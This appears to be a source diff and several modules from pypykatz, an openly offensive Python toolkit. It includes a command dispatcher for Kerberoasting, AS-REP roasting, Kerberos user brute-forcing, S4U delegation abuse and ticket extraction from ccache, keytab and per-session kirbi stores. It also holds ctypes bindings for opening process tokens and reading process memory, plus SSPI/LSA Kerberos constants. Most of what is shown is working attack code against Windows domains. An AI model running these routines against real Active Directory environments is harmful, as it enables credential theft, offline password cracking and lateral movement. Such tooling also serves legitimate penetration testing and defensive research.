127 | print(thash) | |
128 | ||
129 | for err in errors: | |
130 | print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) | |
131 | ||
132 | logging.info('SSPI based Kerberoast complete') | |
133 | ||
256 | ||
257 | print('LUID @%s' % hex(luid)) | |
258 | for ticket in tickets[luid]: | |
259 | print_kirbi(ticket['Ticket']) | |
260 | ||
261 | ||
134 | 262 | def run(self, args): |
135 | raise NotImplementedError('Platform independent kerberos not implemented!')⏎ | |
263 | #raise NotImplementedError('Platform independent kerberos not implemented!') | |
264 | ||
265 | if args.kerberos_module == 'tgt': | |
266 | kirbi, filename, err = asyncio.run(get_TGT(args.url)) | |
267 | if err is not None: | |
268 | print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err) | |
269 | return | |
270 | ||
271 | if args.out_file is not None: | |
272 | with open(args.out_file, 'wb') as f: | |
273 | f.write(kirbi.dump()) | |
274 | else: | |
275 | print_kirbi(kirbi) | |
276 | ||
277 | elif args.kerberos_module == 'tgs': | |
278 | tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn)) | |
279 | if err is not None: | |
280 | print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err) | |
281 | return | |
282 | ||
283 | ||
284 | if args.out_file is not None: | |
285 | pass | |
286 | else: | |
287 | print(tgs) | |
288 | print(encTGSRepPart) | |
289 | print(key) | |
290 | ||
291 | elif args.kerberos_module == 'brute': | |
292 | target_spns = generate_targets(args.targets, args.domain) | |
293 | _, err = asyncio.run(brute(args.address, target_spns, args.out_file, args.show_negatives)) | |
294 | if err is not None: | |
295 | print('[KERBEROS][BRUTE] Error while enumerating users! Reason: %s' % geterr(err)) | |
296 | return | |
297 | ||
298 | elif args.kerberos_module == 'asreproast': | |
299 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
300 | _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype)) | |
301 | if err is not None: | |
302 | print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
303 | return | |
304 | ||
305 | elif args.kerberos_module == 'spnroast': | |
306 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
307 | _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype)) | |
308 | if err is not None: | |
309 | print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
310 | return | |
311 | ||
312 | elif args.kerberos_module == 's4u': | |
313 | tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None)) | |
314 | if err is not None: | |
315 | print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err)) | |
316 | return | |
317 | ||
318 | elif args.kerberos_module == 'keytab': | |
319 | process_keytab(args.keytabfile) | |
320 | ||
321 | elif args.kerberos_module == 'ccache': | |
322 | if args.ccache_module == 'list': | |
323 | list_ccache(args.ccachefile) | |
324 | elif args.ccache_module == 'roast': | |
325 | roast_ccache(args.ccachefile, args.out_file) | |
326 | elif args.ccache_module == 'del': | |
327 | del_ccache(args.ccachefile, args.index) | |
328 | elif args.ccache_module == 'exportkirbi': | |
329 | ccache_to_kirbi(args.ccachefile, args.kirbidir) | |
330 | elif args.ccache_module == 'loadkirbi': | |
331 | kirbi_to_ccache(args.ccachefile, args.kirbi) | |
332 | ||
333 | elif args.kerberos_module == 'kirbi': | |
334 | if args.kirbi_module == 'parse': | |
335 | parse_kirbi(args.kirbifile)⏎ |
0 | from ctypes import WinError, c_int, cast, c_int64, sizeof, windll, byref, Structure, c_ubyte, c_int16, c_int32, c_void_p, c_uint16, c_uint32, POINTER, c_longlong | |
1 | ||
2 | BYTE = c_ubyte | |
3 | UCHAR = BYTE | |
4 | SHORT = c_int16 | |
5 | USHORT = c_uint16 | |
6 | LONG = c_int32 | |
7 | LPVOID = c_void_p | |
8 | PVOID = LPVOID | |
9 | PPVOID = POINTER(PVOID) | |
10 | DWORD = c_uint32 | |
11 | HANDLE = LPVOID | |
12 | PHANDLE = POINTER(HANDLE) | |
13 | LPHANDLE = PHANDLE | |
14 | NTSTATUS = LONG | |
15 | PNTSTATUS = POINTER(NTSTATUS) | |
16 | USHORT = c_uint16 | |
17 | ULONG = c_uint32 | |
18 | PULONG = POINTER(ULONG) | |
19 | LONGLONG = c_int64 | |
20 | ||
21 | LPDWORD = POINTER(DWORD) | |
22 | LPULONG = POINTER(ULONG) | |
23 | LPLONG = POINTER(LONG) | |
24 | PDWORD = LPDWORD | |
25 | ||
26 | LARGE_INTEGER = c_longlong | |
27 | PLARGE_INTEGER = POINTER(LARGE_INTEGER) | |
28 | ||
29 | TOKEN_INFORMATION_CLASS = c_int | |
30 | ||
31 | ERROR_INSUFFICIENT_BUFFER = 122 | |
32 | ||
33 | # Standard access rights | |
34 | DELETE = 0x00010000 | |
35 | READ_CONTROL = 0x00020000 | |
36 | WRITE_DAC = 0x00040000 | |
37 | WRITE_OWNER = 0x00080000 | |
38 | SYNCHRONIZE = 0x00100000 | |
39 | STANDARD_RIGHTS_REQUIRED = 0x000F0000 | |
40 | STANDARD_RIGHTS_READ = READ_CONTROL | |
41 | STANDARD_RIGHTS_WRITE = READ_CONTROL | |
42 | STANDARD_RIGHTS_EXECUTE = READ_CONTROL | |
43 | STANDARD_RIGHTS_ALL = 0x001F0000 | |
44 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF | |
45 | ||
46 | # Token access rights | |
47 | TOKEN_ASSIGN_PRIMARY = 0x0001 | |
48 | TOKEN_DUPLICATE = 0x0002 | |
49 | TOKEN_IMPERSONATE = 0x0004 | |
50 | TOKEN_QUERY = 0x0008 | |
51 | TOKEN_QUERY_SOURCE = 0x0010 | |
52 | TOKEN_ADJUST_PRIVILEGES = 0x0020 | |
53 | TOKEN_ADJUST_GROUPS = 0x0040 | |
54 | TOKEN_ADJUST_DEFAULT = 0x0080 | |
55 | TOKEN_ADJUST_SESSIONID = 0x0100 | |
56 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) | |
57 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | | |
58 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | | |
59 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | | |
60 | TOKEN_ADJUST_SESSIONID) | |
61 | ||
62 | # Invalid handle value is -1 casted to void pointer. | |
63 | try: | |
64 | INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF | |
65 | except TypeError: | |
66 | if sizeof(c_void_p) == 4: | |
67 | INVALID_HANDLE_VALUE = 0xFFFFFFFF | |
68 | elif sizeof(c_void_p) == 8: | |
69 | INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF | |
70 | else: | |
71 | raise | |
72 | ||
73 | SecurityAnonymous = 0 | |
74 | SecurityIdentification = 1 | |
75 | SecurityImpersonation = 2 | |
76 | SecurityDelegation = 3 | |
77 | ||
78 | SECURITY_IMPERSONATION_LEVEL = c_int | |
79 | PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL) | |
80 | ||
81 | TOKEN_TYPE = c_int | |
82 | PTOKEN_TYPE = POINTER(TOKEN_TYPE) | |
83 | ||
84 | class LUID(Structure): | |
85 | _fields_ = [ | |
86 | ("LowPart", DWORD), | |
87 | ("HighPart", LONG), | |
88 | ] | |
89 | ||
90 | def to_int(self): | |
91 | return LUID.luid_to_int(self) | |
92 | ||
93 | @staticmethod | |
94 | def luid_to_int(luid): | |
95 | return (luid.HighPart << 32) + luid.LowPart | |
96 | ||
97 | @staticmethod | |
98 | def from_int(i): | |
99 | luid = LUID() | |
100 | luid.HighPart = i >> 32 | |
101 | luid.LowPart = i & 0xFFFFFFFF | |
102 | return luid | |
103 | ||
104 | PLUID = POINTER(LUID) | |
105 | ||
106 | class TOKEN_STATISTICS(Structure): | |
107 | _fields_ = [ | |
108 | ("TokenId", LUID), | |
109 | ("AuthenticationId", LUID), | |
110 | ("ExpirationTime", LONGLONG), # LARGE_INTEGER | |
111 | ("TokenType", TOKEN_TYPE), | |
112 | ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL), | |
113 | ("DynamicCharged", DWORD), | |
114 | ("DynamicAvailable", DWORD), | |
115 | ("GroupCount", DWORD), | |
116 | ("PrivilegeCount", DWORD), | |
117 | ("ModifiedId", LUID), | |
118 | ] | |
119 | ||
120 | def to_dict(self): | |
121 | return { | |
122 | "TokenId": self.TokenId.to_int(), | |
123 | "AuthenticationId": self.AuthenticationId.to_int(), | |
124 | "ExpirationTime": self.ExpirationTime, | |
125 | "TokenType": self.TokenType, | |
126 | "ImpersonationLevel": self.ImpersonationLevel, | |
127 | "DynamicCharged": self.DynamicCharged, | |
128 | "DynamicAvailable": self.DynamicAvailable, | |
129 | "GroupCount": self.GroupCount, | |
130 | "PrivilegeCount": self.PrivilegeCount, | |
131 | "ModifiedId": self.ModifiedId.to_int(), | |
132 | } | |
133 | PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS) | |
134 | ||
135 | def RaiseIfZero(result, func = None, arguments = ()): | |
136 | """ | |
137 | Error checking for most Win32 API calls. | |
138 | ||
139 | The function is assumed to return an integer, which is C{0} on error. | |
140 | In that case the C{WindowsError} exception is raised. | |
141 | """ | |
142 | if not result: | |
143 | raise WinError() | |
144 | return result | |
145 | ||
146 | # BOOL WINAPI OpenProcessToken( | |
147 | # __in HANDLE ProcessHANDLE, | |
148 | # __in DWORD DesiredAccess, | |
149 | # __out PHANDLE TokenHandle | |
150 | # ); | |
151 | def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS): | |
152 | _OpenProcessToken = windll.advapi32.OpenProcessToken | |
153 | _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE] | |
154 | _OpenProcessToken.restype = bool | |
155 | _OpenProcessToken.errcheck = RaiseIfZero | |
156 | ||
157 | NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) | |
158 | _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle)) | |
159 | return NewTokenHandle | |
160 | ||
161 | ||
162 | def GetTokenInformation_tokenstatistics(hTokenHandle): | |
163 | """ | |
164 | The original function wasn't working. this one returns the SID for the token | |
165 | """ | |
166 | TokenStatistics = 10 | |
167 | ||
168 | _GetTokenInformation = windll.advapi32.GetTokenInformation | |
169 | _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] | |
170 | _GetTokenInformation.restype = bool | |
171 | _GetTokenInformation.errcheck = RaiseIfZero | |
172 | ||
173 | ReturnLength = DWORD(0) | |
174 | try: | |
175 | #getting the correct memory allocation size | |
176 | _GetTokenInformation(hTokenHandle, TokenStatistics, None, ReturnLength, byref(ReturnLength)) | |
177 | except Exception as e: | |
178 | pass | |
179 | ||
180 | TokenInformationLength = ReturnLength.value | |
181 | ReturnLength = DWORD(0) | |
182 | ti = (BYTE * TokenInformationLength)() | |
183 | _GetTokenInformation(hTokenHandle, TokenStatistics, byref(ti), TokenInformationLength, byref(ReturnLength)) | |
184 | if ReturnLength.value != TokenInformationLength: | |
185 | raise WinError(ERROR_INSUFFICIENT_BUFFER) | |
186 | ||
187 | t = cast(ti, POINTER(TOKEN_STATISTICS)).contents | |
188 | res = t.to_dict() | |
189 | ||
190 | return res⏎ |
0 | ||
1 | from asn1crypto import core | |
2 | from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ | |
3 | ||
4 | UNIVERSAL = 0 | |
5 | APPLICATION = 1 | |
6 | CONTEXT = 2 | |
7 | TAG = 'explicit' | |
8 | ||
9 | class MechType(core.ObjectIdentifier): | |
10 | _map = { | |
11 | #'': 'SNMPv2-SMI::enterprises.311.2.2.30', | |
12 | '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider', | |
13 | '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5', | |
14 | '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5', | |
15 | '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User', | |
16 | '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism', | |
17 | } | |
18 | ||
19 | class InitialContextToken(core.Sequence): | |
20 | class_ = 1 | |
21 | tag = 0 | |
22 | _fields = [ | |
23 | ('thisMech', MechType, {'optional': False}), | |
24 | ('unk_bool', core.Boolean, {'optional': False}), | |
25 | ('innerContextToken', core.Any, {'optional': False}), | |
26 | ] | |
27 | ||
28 | _oid_pair = ('thisMech', 'innerContextToken') | |
29 | _oid_specs = { | |
30 | 'KRB5 - Kerberos 5': AP_REQ, | |
31 | }⏎ |
0 | from ctypes import WinError, windll, c_uint32, c_void_p, c_int32 | |
1 | ||
2 | LPVOID = c_void_p | |
3 | DWORD = c_uint32 | |
4 | HANDLE = LPVOID | |
5 | BOOL = c_int32 | |
6 | NULL = None | |
7 | ||
8 | PROCESS_QUERY_INFORMATION = 0x0400 | |
9 | PROCESS_VM_READ = 0x0010 | |
10 | MAXIMUM_ALLOWED = 33554432 | |
11 | ||
12 | ||
13 | def RaiseIfZero(result, func = None, arguments = ()): | |
14 | """ | |
15 | Error checking for most Win32 API calls. | |
16 | ||
17 | The function is assumed to return an integer, which is C{0} on error. | |
18 | In that case the C{WindowsError} exception is raised. | |
19 | """ | |
20 | if not result: | |
21 | raise WinError() | |
22 | return result | |
23 | ||
24 | def CloseHandle(hHandle): | |
25 | _CloseHandle = windll.kernel32.CloseHandle | |
26 | _CloseHandle.argtypes = [HANDLE] | |
27 | _CloseHandle.restype = bool | |
28 | _CloseHandle.errcheck = RaiseIfZero | |
29 | _CloseHandle(hHandle) | |
30 | ||
31 | # DWORD WINAPI GetCurrentProcessId(void); | |
32 | def GetCurrentProcessId(): | |
33 | _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId | |
34 | _GetCurrentProcessId.argtypes = [] | |
35 | _GetCurrentProcessId.restype = DWORD | |
36 | return _GetCurrentProcessId() | |
37 | ||
38 | # HANDLE WINAPI OpenProcess( | |
39 | # __in DWORD dwDesiredAccess, | |
40 | # __in BOOL bInheritHandle, | |
41 | # __in DWORD dwProcessId | |
42 | # ); | |
43 | def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): | |
44 | _OpenProcess = windll.kernel32.OpenProcess | |
45 | _OpenProcess.argtypes = [DWORD, BOOL, DWORD] | |
46 | _OpenProcess.restype = HANDLE | |
47 | ||
48 | hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) | |
49 | if hProcess == NULL: | |
50 | raise WinError() | |
51 | return hProcess⏎ |
0 | import enum | |
1 | import io | |
2 | from ctypes import pointer,c_byte, c_wchar, c_char_p, addressof, c_ubyte, c_int16, c_longlong, cast, byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError, sizeof, c_int32, c_uint16, create_string_buffer | |
3 | from pypykatz.commons.common import hexdump | |
4 | ||
5 | BYTE = c_ubyte | |
6 | UCHAR = BYTE | |
7 | SHORT = c_int16 | |
8 | USHORT = c_uint16 | |
9 | LONG = c_int32 | |
10 | LPWSTR = c_wchar_p | |
11 | LPVOID = c_void_p | |
12 | PVOID = LPVOID | |
13 | PPVOID = POINTER(PVOID) | |
14 | DWORD = c_uint32 | |
15 | HANDLE = LPVOID | |
16 | PHANDLE = POINTER(HANDLE) | |
17 | LPHANDLE = PHANDLE | |
18 | NTSTATUS = LONG | |
19 | PNTSTATUS = POINTER(NTSTATUS) | |
20 | USHORT = c_uint16 | |
21 | ULONG = c_uint32 | |
22 | PULONG = POINTER(ULONG) | |
23 | LARGE_INTEGER = c_longlong | |
24 | PLARGE_INTEGER = POINTER(LARGE_INTEGER) | |
25 | LPBYTE = POINTER(BYTE) | |
26 | LPSTR = c_char_p | |
27 | CHAR = c_char | |
28 | ||
29 | LSA_OPERATIONAL_MODE = ULONG | |
30 | PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE) | |
31 | PCHAR = LPSTR | |
32 | SEC_CHAR = CHAR | |
33 | PSEC_CHAR = PCHAR | |
34 | ||
35 | ||
36 | ERROR_SUCCESS = 0 | |
37 | ||
38 | maxtoken_size = 2880 | |
39 | ||
40 | class SID: | |
41 | def __init__(self): | |
42 | self.Revision = None | |
43 | self.SubAuthorityCount = None | |
44 | self.IdentifierAuthority = None | |
45 | self.SubAuthority = [] | |
46 | ||
47 | def __str__(self): | |
48 | t = 'S-1-' | |
49 | if self.IdentifierAuthority < 2**32: | |
50 | t += str(self.IdentifierAuthority) | |
51 | else: | |
52 | t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0') | |
53 | for i in self.SubAuthority: | |
54 | t += '-' + str(i) | |
55 | return t | |
56 | ||
57 | @staticmethod | |
58 | def from_ptr(ptr): | |
59 | if ptr == None: | |
60 | return None | |
61 | data = string_at(ptr, 8) | |
62 | buff = io.BytesIO(data) | |
63 | sid = SID() | |
64 | sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False) | |
65 | sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False) | |
66 | sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False) | |
67 | ||
68 | data = string_at(ptr+8, sid.SubAuthorityCount*4) | |
69 | buff = io.BytesIO(data) | |
70 | for _ in range(sid.SubAuthorityCount): | |
71 | sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False)) | |
72 | return sid | |
73 | ||
74 | class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum): | |
75 | KerbDebugRequestMessage = 0 | |
76 | KerbQueryTicketCacheMessage = 1 | |
77 | KerbChangeMachinePasswordMessage = 2 | |
78 | KerbVerifyPacMessage = 3 | |
79 | KerbRetrieveTicketMessage = 4 | |
80 | KerbUpdateAddressesMessage = 5 | |
81 | KerbPurgeTicketCacheMessage = 6 | |
82 | KerbChangePasswordMessage = 7 | |
83 | KerbRetrieveEncodedTicketMessage = 8 | |
84 | KerbDecryptDataMessage = 9 | |
85 | KerbAddBindingCacheEntryMessage = 10 | |
86 | KerbSetPasswordMessage = 11 | |
87 | KerbSetPasswordExMessage = 12 | |
88 | KerbVerifyCredentialsMessage = 13 | |
89 | KerbQueryTicketCacheExMessage = 14 | |
90 | KerbPurgeTicketCacheExMessage = 15 | |
91 | KerbRefreshSmartcardCredentialsMessage = 16 | |
92 | KerbAddExtraCredentialsMessage = 17 | |
93 | KerbQuerySupplementalCredentialsMessage = 18 | |
94 | KerbTransferCredentialsMessage = 19 | |
95 | KerbQueryTicketCacheEx2Message = 20 | |
96 | KerbSubmitTicketMessage = 21 | |
97 | KerbAddExtraCredentialsExMessage = 22 | |
98 | KerbQueryKdcProxyCacheMessage = 23 | |
99 | KerbPurgeKdcProxyCacheMessage = 24 | |
100 | KerbQueryTicketCacheEx3Message = 25 | |
101 | KerbCleanupMachinePkinitCredsMessage = 26 | |
102 | KerbAddBindingCacheEntryExMessage = 27 | |
103 | KerbQueryBindingCacheMessage = 28 | |
104 | KerbPurgeBindingCacheMessage = 29 | |
105 | KerbQueryDomainExtendedPoliciesMessage = 30 | |
106 | KerbQueryS4U2ProxyCacheMessage = 31 | |
107 | ||
108 | # https://apidock.com/ruby/Win32/SSPI/SSPIResult | |
109 | class SEC_E(enum.Enum): | |
110 | OK = 0x00000000 | |
111 | CONTINUE_NEEDED = 0x00090312 | |
112 | INSUFFICIENT_MEMORY = 0x80090300 #Not enough memory is available to complete this request. | |
113 | INVALID_HANDLE = 0x80090301 #The handle specified is invalid. | |
114 | UNSUPPORTED_FUNCTION = 0x80090302 #The function requested is not supported. | |
115 | TARGET_UNKNOWN = 0x80090303 #The specified target is unknown or unreachable. | |
116 | INTERNAL_ERROR = 0x80090304 #The Local Security Authority (LSA) cannot be contacted. | |
117 | SECPKG_NOT_FOUND = 0x80090305 #The requested security package does not exist. | |
118 | NOT_OWNER = 0x80090306 #The caller is not the owner of the desired credentials. | |
119 | CANNOT_INSTALL = 0x80090307 #The security package failed to initialize and cannot be installed. | |
120 | INVALID_TOKEN = 0x80090308 #The token supplied to the function is invalid. | |
121 | CANNOT_PACK = 0x80090309 #The security package is not able to marshal the logon buffer, so the logon attempt has failed. | |
122 | QOP_NOT_SUPPORTED = 0x8009030A #The per-message quality of protection is not supported by the security package. | |
123 | NO_IMPERSONATION = 0x8009030B #The security context does not allow impersonation of the client. | |
124 | LOGON_DENIED = 0x8009030C #The logon attempt failed. | |
125 | UNKNOWN_CREDENTIALS = 0x8009030D #The credentials supplied to the package were not recognized. | |
126 | NO_CREDENTIALS = 0x8009030E #No credentials are available in the security package. | |
127 | MESSAGE_ALTERED = 0x8009030F #The message or signature supplied for verification has been altered. | |
128 | OUT_OF_SEQUENCE = 0x80090310 #The message supplied for verification is out of sequence. | |
129 | NO_AUTHENTICATING_AUTHORITY = 0x80090311 #No authority could be contacted for authentication. | |
130 | BAD_PKGID = 0x80090316 #The requested security package does not exist. | |
131 | CONTEXT_EXPIRED = 0x80090317 #The context has expired and can no longer be used. | |
132 | INCOMPLETE_MESSAGE = 0x80090318 #The supplied message is incomplete. The signature was not verified. | |
133 | INCOMPLETE_CREDENTIALS = 0x80090320 #The credentials supplied were not complete and could not be verified. The context could not be initialized. | |
134 | BUFFER_TOO_SMALL = 0x80090321 #The buffers supplied to a function was too small. | |
135 | WRONG_PRINCIPAL = 0x80090322 #The target principal name is incorrect. | |
136 | TIME_SKEW = 0x80090324 #The clocks on the client and server machines are skewed. | |
137 | UNTRUSTED_ROOT = 0x80090325 #The certificate chain was issued by an authority that is not trusted. | |
138 | ILLEGAL_MESSAGE = 0x80090326 #The message received was unexpected or badly formatted. | |
139 | CERT_UNKNOWN = 0x80090327 #An unknown error occurred while processing the certificate. | |
140 | CERT_EXPIRED = 0x80090328 # The received certificate has expired. | |
141 | ENCRYPT_FAILURE = 0x80090329 #The specified data could not be encrypted. | |
142 | DECRYPT_FAILURE = 0x80090330 #The specified data could not be decrypted. | |
143 | ALGORITHM_MISMATCH = 0x80090331 #The client and server cannot communicate because they do not possess a common algorithm. | |
144 | SECURITY_QOS_FAILED = 0x80090332 #The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation). | |
145 | UNFINISHED_CONTEXT_DELETED = 0x80090333 #A security context was deleted before the context was completed. This is considered a logon failure. | |
146 | NO_TGT_REPLY = 0x80090334 #The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply. | |
147 | NO_IP_ADDRESSES = 0x80090335 #Unable to accomplish the requested task because the local machine does not have an IP addresses. | |
148 | WRONG_CREDENTIAL_HANDLE = 0x80090336 #The supplied credential handle does not match the credential associated with the security context. | |
149 | CRYPTO_SYSTEM_INVALID = 0x80090337 #The cryptographic system or checksum function is invalid because a required function is unavailable. | |
150 | MAX_REFERRALS_EXCEEDED = 0x80090338 #The number of maximum ticket referrals has been exceeded. | |
151 | MUST_BE_KDC = 0x80090339 #The local machine must be a Kerberos domain controller (KDC), and it is not. | |
152 | STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A #The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine. | |
153 | TOO_MANY_PRINCIPALS = 0x8009033B #The KDC reply contained more than one principal name. | |
154 | NO_PA_DATA = 0x8009033C #Expected to find PA data for a hint of what etype to use, but it was not found. | |
155 | PKINIT_NAME_MISMATCH = 0x8009033D #The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator. | |
156 | SMARTCARD_LOGON_REQUIRED = 0x8009033E #Smart card logon is required and was not used. | |
157 | SHUTDOWN_IN_PROGRESS = 0x8009033F #A system shutdown is in progress. | |
158 | KDC_INVALID_REQUEST = 0x80090340 #An invalid request was sent to the KDC. | |
159 | KDC_UNABLE_TO_REFER = 0x80090341 #The KDC was unable to generate a referral for the service requested. | |
160 | KDC_UNKNOWN_ETYPE = 0x80090342 #The encryption type requested is not supported by the KDC. | |
161 | UNSUPPORTED_PREAUTH = 0x80090343 #An unsupported pre-authentication mechanism was presented to the Kerberos package. | |
162 | DELEGATION_REQUIRED = 0x80090345 #The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation. | |
163 | BAD_BINDINGS = 0x80090346 #Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect. | |
164 | MULTIPLE_ACCOUNTS = 0x80090347 #The received certificate was mapped to multiple accounts. | |
165 | NO_KERB_KEY = 0x80090348 #No Kerberos key was found. | |
166 | CERT_WRONG_USAGE = 0x80090349 #The certificate is not valid for the requested usage. | |
167 | DOWNGRADE_DETECTED = 0x80090350 #The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you. | |
168 | SMARTCARD_CERT_REVOKED = 0x80090351 #The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information. | |
169 | ISSUING_CA_UNTRUSTED = 0x80090352 #An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator. | |
170 | REVOCATION_OFFLINE_C = 0x80090353 #The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator. | |
171 | PKINIT_CLIENT_FAILURE = 0x80090354 #The smart card certificate used for authentication was not trusted. Contact your system administrator. | |
172 | SMARTCARD_CERT_EXPIRED = 0x80090355 #The smart card certificate used for authentication has expired. Contact your system administrator. | |
173 | NO_S4U_PROT_SUPPORT = 0x80090356 #The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users. | |
174 | CROSSREALM_DELEGATION_FAILURE = 0x80090357 #An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator. | |
175 | REVOCATION_OFFLINE_KDC = 0x80090358 #The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator. | |
176 | ISSUING_CA_UNTRUSTED_KDC = 0x80090359 #An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator. | |
177 | KDC_CERT_EXPIRED = 0x8009035A #The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log. | |
178 | KDC_CERT_REVOKED = 0x8009035B #The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log. | |
179 | INVALID_PARAMETER = 0x8009035D #One or more of the parameters passed to the function were invalid. | |
180 | DELEGATION_POLICY = 0x8009035E #The client policy does not allow credential delegation to the target server. | |
181 | POLICY_NLTM_ONLY = 0x8009035F #The client policy does not allow credential delegation to the target server with NLTM only authentication. | |
182 | RENEGOTIATE = 590625 | |
183 | COMPLETE_AND_CONTINUE = 590612 | |
184 | COMPLETE_NEEDED = 590611 | |
185 | #INCOMPLETE_CREDENTIALS = 590624 | |
186 | ||
187 | class SECPKG_CRED(enum.IntFlag): | |
188 | AUTOLOGON_RESTRICTED = 0x00000010 #The security does not use default logon credentials or credentials from Credential Manager. | |
189 | #This value is supported only by the Negotiate security package. | |
190 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
191 | ||
192 | BOTH = 3 #Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs. | |
193 | INBOUND = 1 #Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific. | |
194 | OUTBOUND = 2 #Allow a local client credential to prepare an outgoing token. | |
195 | PROCESS_POLICY_ONLY = 0x00000020 #The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials. | |
196 | #This value is supported only by the Negotiate security package. | |
197 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
198 | ||
199 | ||
200 | class ISC_REQ(enum.IntFlag): | |
201 | DELEGATE = 1 | |
202 | MUTUAL_AUTH = 2 | |
203 | REPLAY_DETECT = 4 | |
204 | SEQUENCE_DETECT = 8 | |
205 | CONFIDENTIALITY = 16 | |
206 | USE_SESSION_KEY = 32 | |
207 | PROMPT_FOR_CREDS = 64 | |
208 | USE_SUPPLIED_CREDS = 128 | |
209 | ALLOCATE_MEMORY = 256 | |
210 | USE_DCE_STYLE = 512 | |
211 | DATAGRAM = 1024 | |
212 | CONNECTION = 2048 | |
213 | CALL_LEVEL = 4096 | |
214 | FRAGMENT_SUPPLIED = 8192 | |
215 | EXTENDED_ERROR = 16384 | |
216 | STREAM = 32768 | |
217 | INTEGRITY = 65536 | |
218 | IDENTIFY = 131072 | |
219 | NULL_SESSION = 262144 | |
220 | MANUAL_CRED_VALIDATION = 524288 | |
221 | RESERVED1 = 1048576 | |
222 | FRAGMENT_TO_FIT = 2097152 | |
223 | HTTP = 0x10000000 | |
224 | ||
225 | class SECPKG_ATTR(enum.Enum): | |
226 | SESSION_KEY = 9 | |
227 | C_ACCESS_TOKEN = 0x80000012 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. | |
228 | C_FULL_ACCESS_TOKEN = 0x80000082 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. | |
